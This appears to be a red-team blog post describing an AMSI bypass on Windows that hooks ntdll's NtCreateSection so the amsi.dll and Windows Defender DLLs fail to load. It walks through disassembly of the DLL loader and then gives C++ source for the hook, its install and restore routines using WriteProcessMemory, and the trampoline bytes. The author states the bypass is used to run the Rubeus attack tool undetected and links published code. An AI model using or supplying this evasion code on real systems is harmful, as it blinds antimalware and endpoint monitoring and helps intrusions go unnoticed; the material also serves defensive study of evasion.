[Malware] Bypass AMSI in local process hooking NtCreateSection
Hi everyone! Here suffering (again) the high temperatures and hoping winter to come back again.
Today we will talk about an AMSI bypass technique (probably not too useful in engagements) but interesting anyway.
A lot of AMSI bypass techniques have been published since Microsoft presented it for Windows 10 / Server 2016 but it’s also interesting to see a new one.
AMSI internals
When a new powershell / VBA / C# based process is created, the operating system will inject into the process an AMSI DLL, this DLL will scan the process to look for malicious statical content, and in case something is detected, it will trigger an alert to the antivirus software.
The execution flow can be observed graphically in the following screenshot.
It’s interesting to note that a lot of EDRs use AMSI to detect scripts malicious activity, and subscribe to the ETW session provided by AMSI.
So it’s not only about bypassing Windows Defender detections, but in some engagements we can find AMSI being used by EDR software.
In the case of this bypass, we won´t use any patching technique, instead, we will abuse some windows internals behaviours to avoid the DLL being loaded in a process at all.
The bypass itself
First of all, let’s see some theory about how windows loader works. In this case we won´t talk about process creation, because our bypass resides not in the creation itself, but in the DLL loading procedure. Let’s imagine we have an already created process in the system, and it’s not a C# process, then, it won´t have a copy of AMSI.dll loaded in the process, if during the execution time of that process, we inject a C# shellcode, then all the DLLs needed by that shellcode will be loaded and also the AMSI dll will be loaded.
The procedure used to load a Dll in Windows resides in NTDLL, and is in the following function _LdrpMapDllNtFileName, the execution flow of that function can be seen decompiled following.
loc_6A22D43A: ; OpenOptions
push 60h ; '`'
push 5 ; ShareAccess
lea eax, [ebp+IoStatusBlock]
push eax ; IoStatusBlock
lea eax, [ebp+ObjectAttributes]
push eax ; ObjectAttributes
push 100021h ; DesiredAccess
lea eax, [ebp+FileHandle]
push eax ; FileHandle
call _NtOpenFile@24 ; NtOpenFile(x,x,x,x,x,x)
mov esi, eax
test esi, esi
js loc_6A2AA298
First of all, the loader will open a handle to a the DLL file (except the DLL that is going to be mapped resides in \KnownDLLs)
loc_6A22D478:
push [ebp+FileHandle]
lea eax, [ebp+Handle]
push 1000000h
push 10h
push 0
push 0
push 0Dh
push eax
call _NtCreateSection@28 ; NtCreateSection(x,x,x,x,x,x,x)
mov esi, eax
test esi, esi
js loc_6A2AA317
With this file handle, the function will check integrity related things, etc and later will call NtCreateSection, returning the created section in [ebp+Handle]
Finally, if we follow the function, we see a call to _LdrpMapDllWithSectionHandle that receives a handle as input value, this function will call LdrpMinimalMapModule and in that function we will see a call to ZtMapViewOfSection.
loc_6A22E621:
neg eax
lea ecx, [esi+18h]
mov [ebp+var_18], ecx
sbb eax, eax
and eax, 0FFFFFF82h
sub eax, 0FFFFFF80h
push eax
push ebx
push 1
push edx
xor eax, eax
push eax
push eax
push eax
push ecx
push 0FFFFFFFFh
push [ebp+var_10]
call _ZwMapViewOfSection@40 ; ZwMapViewOfSection(x,x,x,x,x,x,x,x,x,x)
mov ecx, [ebp+var_14]
mov esi, eax
mov eax, [ebp+var_8]
mov [eax+14h], ecx
cmp ebx, 20000000h
jz loc_6A2AA836
ZwMapViewOfSection will map the AMSI DLL in the process.
If we could anyway break any of those functions when AMSI DLL is going to be loaded, then the DLL would not be loaded, and our process would live AMSI free.
Offensive Hooking
The hooking technique comes fast to our mind, normally this technique is used by security products to monitor what a userland process is calling (NTDLL syscall hooking), but nothing prevents us from hooking our process (or others if you can get a PROCESS_VM_WRITE handle).
Via hooking we could intercept calls to NtOpenFile / NtCreateSection / NtMapViewOfSection (any of them) and when we see the AMSI dll is going to be loaded return an invalid handle, so the loader will not be able to load it.
In this case we choosed NtCreateSection, not because a special reason, but because we already have implemented it for other implants, and we can reutilize the code (be lazy) ;-).
The hooked function would look like this.
std::string data_hash2[] =
{
"fbd13447dcd3ab91bb0d2324e11eca986967c99dcd324b00f9577010c6080413", //SHA256 of the UNC Path of the AMSI dll and other Windows Defender injected DLLs
"856efe1b2c5b5716b4d373bb7205e742da90d51256371c582ce82b353d900186",
"d8d52609d0c81d70bf44cb3cd5732a1c232cc20c25342d0a118192e652a12d98",
"a75589e0d1b5b8f0ad28f508ed28df1b4406374ac489121c895170475fe3ef74"
}; //array with the file hashes
NTSTATUS ntCreateMySection(OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL) /*Bypass AMSI*/
{
int isFinal = 0;
char lpFilename[256];
if (FileHandle != NULL)
{
DWORD res = GetFinalPathNameByHandleA(FileHandle, lpFilename, 256, FILE_NAME_OPENED | VOLUME_NAME_DOS); //Get the file path of the file handle
if (res == 0)
printf("GetFinalPathNameByHandleA error: %d\n", GetLastError());
else
{
std::string hash = sha256(std::string(lpFilename)); //Compute the SHA256 hash of the file path (only the hash of the name, not the file)
unsigned int arrSize = sizeof(data_hash2) / sizeof(data_hash[0]); //Get the size of the array
for (int counter = 0; counter < arrSize; counter++) //Loop each position of the array
{
if (hash.compare(data_hash2[counter]) == 0) //If hash of the DLL to load is equal to any of the array hashes return 0
{
return -1;
}
}
}
}
restore_hook_ntcreatesection(SectionHandle, DesiredAccess, ObjectAttributes, MaximumSize, PageAttributess, SectionAttributes, FileHandle); //If it's not an AMSI DLL restore the original NtCreateSection
return 1;
}
- At the beggining of the code we see an array containing a list of hashes of DLLs that are usually used to monitor malicious activity.
- Later we see the hooked NtCreateSection function, that will check which is the path belonging to the File Handle parameter (GetFinalPathNameByHandleA).
- In case the file hash is one of the hashes existing in the hash array, the hooked function will return -1 (in the NTSTATUS world we see that as an error, because an NTSTATUS success value is 0)
- In case the file hash is not in the array, then we will jump to the real NtCreateSection, and we will allow the process to map DLLs.
Following we can see how whe NtCreateSection returns an error, the loader will return without loading the DLL.
In this case we may be careful, because if we return 0x0C000047E then, the function _LdrAppxHandleIntegrityFailure would be called, and this function would terminate our process (in no way my mind could think about using that value as return, but disclaimer is important…)
For those cases when the hook function is not returning an AMSI dll, we must restore the previous NtCreateSection, which is done via the following snippet.
BOOL restore_hook_ntcreatesection(OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL)
{
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, NULL, GetCurrentProcessId()); //Open current process
myNtCreateSection NtCreate;
NtCreate = (myNtCreateSection)GetProcAddress(GetModuleHandle(L"NTDLL.dll"), "NtCreateSection"); //Get address of the hooked NtCreateSection
DWORD written2, written3;
VirtualProtect(NtCreate, sizeof NtCreate, PAGE_EXECUTE_READWRITE, &written2); //Protect it
VirtualProtect(tramp_old_ntcreatesection, sizeof tramp_old_ntcreatesection, PAGE_EXECUTE_READWRITE, &written3);
if (!WriteProcessMemory(hProc, NtCreate, &tramp_old_ntcreatesection, sizeof tramp_old_ntcreatesection, NULL)) //Write the real NtCreateSection in the address of the hook
{
return FALSE;
}
NtCreate(SectionHandle, DesiredAccess, ObjectAttributes, MaximumSize, PageAttributess, SectionAttributes, FileHandle); //Call the real NtCreateSection
hook_ntcreatesection(hProc); //hook it again
return 1;
}
And the function in charge of installing the hook.
BOOL hook_ntcreatesection(HANDLE hProc)
{
myNtCreateSection NtCreate;
NtCreate = (myNtCreateSection)GetProcAddress(GetModuleHandle(L"NTDLL.dll"), "NtCreateSection"); //GetProcAddress of NtCreateSection
if (!NtCreate)
exit(-1);
DWORD written3;
VirtualProtect(NtCreate, sizeof NtCreate, PAGE_EXECUTE_READWRITE, &written3); //Protect it
void* reference = (void*)ntCreateMySection; //pointer to ntCreateSection (hook) in reference
memcpy(tramp_old_ntcreatesection, NtCreate, sizeof tramp_old_ntcreatesection); //Copy the syscall of NtCreateSection (real) in a global variable
memcpy(&tramp_ntcreatesection[2], &reference, sizeof shit3); //Copy the hook to tramp_ntcreatesection
DWORD old3;
VirtualProtect(tramp2, sizeof tramp_ntcreatesection, PAGE_EXECUTE_READWRITE, &old3);
if (!WriteProcessMemory(hProc, (LPVOID*)NtCreate, &tramp_ntcreatesection, sizeof tramp_ntcreatesection, NULL)) //Write the hook to the address of the NtCreateSection
{
return -1;
}
return 1;
}
And finally, the trampoline, where we used the one that friends of https://adepts.of0x.cc/hookson-hootoff/ used for this fantastic post (thank you mates!!)
char tramp_ntcreatesection[13] = {
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, NEW_LOC_@ddress
0x41, 0xFF, 0xE2 // jmp r10
};
char tramp_old_ntcreatesection[13];
Conclusion
Even this bypass is not very useful to execute powershell scripts (although could be implement with effort and suffering), it could be used when you want for example to execute Rubeus and AMSI is detecting the tool usage (we use it for that).
For example we can see here how we are using it to execute rubeus, and we pass the commands to that via Named Pipe.
And we see how amsi.dll is not loaded in the process.
Code is published here:
https://github.com/waawaa/AMSI_Rubeus_bypass
References: